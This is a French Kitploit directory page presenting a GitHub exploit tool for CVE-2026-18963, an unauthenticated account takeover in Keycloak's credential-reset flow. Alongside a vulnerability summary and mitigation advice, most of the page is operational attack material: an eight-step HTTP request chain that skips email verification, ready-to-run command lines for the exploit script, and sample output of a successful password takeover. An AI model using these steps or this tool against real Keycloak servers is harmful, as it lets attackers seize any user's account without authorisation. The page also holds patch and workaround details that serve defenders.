Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Exploit-For-CVE-2026-18963 — Exploit pour CVE-2026-18963, une prise de contrôle de compte non authentifiée critique dans le flux de réinitialisation des identifiants de Keycloak, enchaînant deux bogues pour contourner la vérification par e-mail et définir un nouveau mot de passe. | Kitploit
Outils/GitHubGitHub/blackhatexploitation/exploit-for-cve-2026-18963
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionAuthentification
GitHubblackhatexploitation/exploit-for-cve-2026-18963

Exploit-For-CVE-2026-18963

Exploit pour CVE-2026-18963, une prise de contrôle de compte non authentifiée critique dans le flux de réinitialisation des identifiants de Keycloak, enchaînant deux bogues pour contourner la vérification par e-mail et définir un nouveau mot de passe.

Voir le dépôt
il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-18963 — Prise de contrôle de compte non authentifiée Keycloak

CVSS 9.1 Critique · Keycloak 26.0.0 – 26.7.1 · Non authentifié

Une vulnérabilité critique dans le flux de réinitialisation des identifiants de Keycloak qui permet à un attaquant non authentifié de prendre le contrôle de n'importe quel compte utilisateur sans vérification par e-mail en enchaînant deux bugs dans la gestion de la session d'authentification.


Détails de la vulnérabilité

ChampValeur
CVECVE-2026-18963
Score CVSS9.1 (Critique)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-640 — Mécanisme de récupération de mot de passe faible
Versions affectéesKeycloak 26.0.0 – 26.7.1
Versions corrigées26.4.15 / 26.6.6 / 26.7.2 / 26.8.0
Composantkeycloak-services (flux de réinitialisation des identifiants)
Référencehttps://github.com/keycloak/keycloak/issues/51833

Cause racine

Deux bugs sont enchaînés :

Bug 1 — Le gestionnaire tryAnotherWay stocke la note
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" dans la session d'authentification sans la limiter à un identifiant d'exécution.

Bug 2 — ResetCredentialEmail.action() appelle context.success() (en contournant entièrement la vérification par e-mail) dès que cette note est présente, sans vérifier ACTION_TOKEN_USER_ID.


Chaîne d'attaque

root@kitploit:~
1. GET  /realms/{realm}/protocol/openid-connect/auth
         → Établir une session OIDC, extraire le lien mot de passe oublié

2. GET  /login-actions/reset-credentials?...
         → Charger le formulaire de réinitialisation des identifiants

3. POST tryAnotherWay=on
         → Définit la note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Bug 1)

4. POST username={cible}  →  formulaire du sélecteur
         → Lie l'utilisateur cible à la session d'authentification, déclenche l'étape e-mail

5. GET  /login-actions/restart?...
         → Optionnel : refléter le sondage de session du navigateur

6. GET  /login-actions/reset-credentials?...  (même URL qu'à l'étape 2)
         → La note du sélecteur obsolète est toujours présente → le sélecteur d'identifiants réapparaît

7. POST username={cible}  →  sélecteur obsolète
         → ResetCredentialEmail voit la note, appelle context.success() (Bug 2)
         → Le flux avance directement vers UPDATE_PASSWORD — aucun e-mail envoyé

8. POST password-new={mot_de_passe_attaquant}
         → Compte pris en contrôle

Prérequis

root@kitploit:~
python3 -m pip install requests

Utilisation

root@kitploit:~
python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

Options

root@kitploit:~
--url              URL de base Keycloak (obligatoire)
--realm            Realm cible (défaut : master)
--username         Nom d'utilisateur ou e-mail du compte à prendre en contrôle (obligatoire)
--new-password     Mot de passe à définir sur le compte cible (obligatoire)
--client-id        ID client OIDC (défaut : account)
--auth-prefix      auto | new | old
                     auto = détection automatique (défaut)
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      Afficher la trace HTTP complète
--skip-version-check

Exemples

root@kitploit:~
# Détection automatique de l'ancien/nouveau préfixe d'URL Keycloak
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# Forcer le préfixe /auth hérité (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# Trace HTTP détaillée
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

Sortie

root@kitploit:~
  CVE-2026-18963  |  Prise de contrôle de compte non authentifiée Keycloak
  Utilisateur : [email protected]

[Étape 0] Détection de la version et du préfixe de chemin
[+] Préfixe de chemin : '/auth'  →  détecté
[?] Version non détectée — poursuite quand même.

  Cible : https://sso.example.com/auth/realms/myrealm

[Étape 1] Ouverture du formulaire de réinitialisation des identifiants via le lien OIDC mot de passe oublié
[+] Session OIDC établie
[+] Formulaire de réinitialisation des identifiants chargé

[Étape 2] POST tryAnotherWay=on  →  définition de la note du sélecteur (Bug 1)
[+] Formulaire du sélecteur d'identifiants reçu

[Étape 3] POST username='[email protected]'  →  liaison de l'utilisateur, déclenchement de l'étape e-mail
[+] Étape e-mail déclenchée — URL de sondage de session trouvée

[Étape 4] GET du chemin de sondage de session (optionnel)

[Étape 5] Nouvelle visite de l'URL mot de passe oublié  →  obtention du sélecteur obsolète
[+] Formulaire du sélecteur d'identifiants obsolète reçu

[Étape 6] POST username vers le sélecteur obsolète  →  déclenchement du contournement (Bug 2)
[+] CONTOURNEMENT RÉUSSI — formulaire de mise à jour du mot de passe reçu

[Étape 7] Définition du nouveau mot de passe

============================================================
  [+] SUCCÈS — Prise de contrôle du compte terminée
  [+] Cible    : https://sso.example.com/auth/realms/myrealm
  [+] Utilisateur : [email protected]
  [+] Mot de passe : Pwn3d2026!
============================================================

Compatibilité

Version KeycloakPréfixe d'URLVulnérable
< 17.x/auth/realms/✅ si plage 26.x
≥ 17.x/realms/✅ si < 26.7.2
26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+quelconque❌ Corrigé

Le script détecte automatiquement si la cible utilise le préfixe /auth/ hérité ou le chemin moderne, il fonctionne donc à la fois contre les anciens et les nouveaux déploiements sans configuration manuelle.


Atténuation

Correctif (recommandé) : Mettre à niveau vers l'une des versions corrigées :

  • 26.4.15 ou ultérieure dans la branche 26.4.x
  • 26.6.6 ou ultérieure dans la branche 26.6.x
  • 26.7.2 ou ultérieure dans la branche 26.7.x
  • 26.8.0 ou ultérieure

Contournement temporaire : Désactiver Mot de passe oublié sur tous les realms :
Realm Settings → Login → Forgot Password → OFF


Références

  • https://github.com/keycloak/keycloak/issues/51833
  • https://github.com/projectdiscovery/nuclei-templates/pull/16995
  • https://x.com/i/status/2092010596980150359

Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Télécharger l’outil